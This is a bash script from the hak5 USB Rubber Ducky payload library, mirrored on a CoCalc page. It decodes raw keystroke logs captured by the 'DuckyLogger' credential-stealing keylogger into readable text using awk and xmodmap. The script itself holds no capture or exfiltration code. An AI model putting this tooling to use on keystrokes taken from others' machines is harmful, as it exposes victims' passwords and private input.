Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hak5
GitHub Repository: hak5/usbrubberducky-payloads
Path: blob/master/payloads/library/credentials/DuckyLogger/duckyLoggerDecoder
2968 views
usage () { 
	echo -e "DuckyLoggerDecoder is used to decode raw key strokes acquired by duckyLogger.\n"
	echo -e "Usage: \nDecode captured log:\t[./duckyLoggerDecoder -f <Logfile> -m <mode> -o <output file>]"; 
	echo -e "\nOptions:"
	echo -e "-f\tSpecify Log file."
	echo -e "-m\tSelect Mode(normal|informative)"
	echo -e "-o\tSpecify Output file."
	echo -e "-h\tFor this banner."
}
while getopts o:m:f:h: flag
do
    case "${flag}" in
        o) output=$OPTARG ;;
        m) mode=$OPTARG ;;
	f) filename=$OPTARG ;;
	h) help=$OPTARG ;;
	*)
			usage
                        exit 1
    esac
done

if [ -z "$output" ] && [ -z "$filename" ]; then
	usage
        exit 1
fi
if [ -z "$filename" ]; then
        echo -e "DuckyLogDecoder: Missing option \"-f\"(Log file not specified).\nUse \"-h\" for more information." >&2
	exit 1
fi
if [ -z "$output" ]; then
        echo -e "DuckyLogDecoder: Missing option \"-o\"(Output file not specified).\nUse \"-h\" for help." >&2
	exit 1
fi
if [ -z "$mode" ]; then
        echo -e "DuckyLogDecoder: Missing option \"-m\"(Mode not specified).\nUse \"-h\" for help." >&2
        exit 1
fi
if [ "$mode" != "informative" ] && [ "$mode" != "normal" ]; then
        echo -e "DuckyLogDecoder: Invalid mode \"$mode\".\nUse \"-h\" for help." >&2
        exit 1
fi
if [ "$mode" == "normal" ] ; then
        awk 'BEGIN{while (("xmodmap -pke" | getline) > 0) k[$2]=$4} {print $0 "[" k [$NF] "]"}' $filename | grep press | awk '{print $4}' > $output
        exit 1
fi
if [ "$mode" == "informative" ] ; then
        awk 'BEGIN{while (("xmodmap -pke" | getline) > 0) k[$2]=$4} {print $0 "[" k [$NF] "]"}' $filename > $output
        exit 1
fi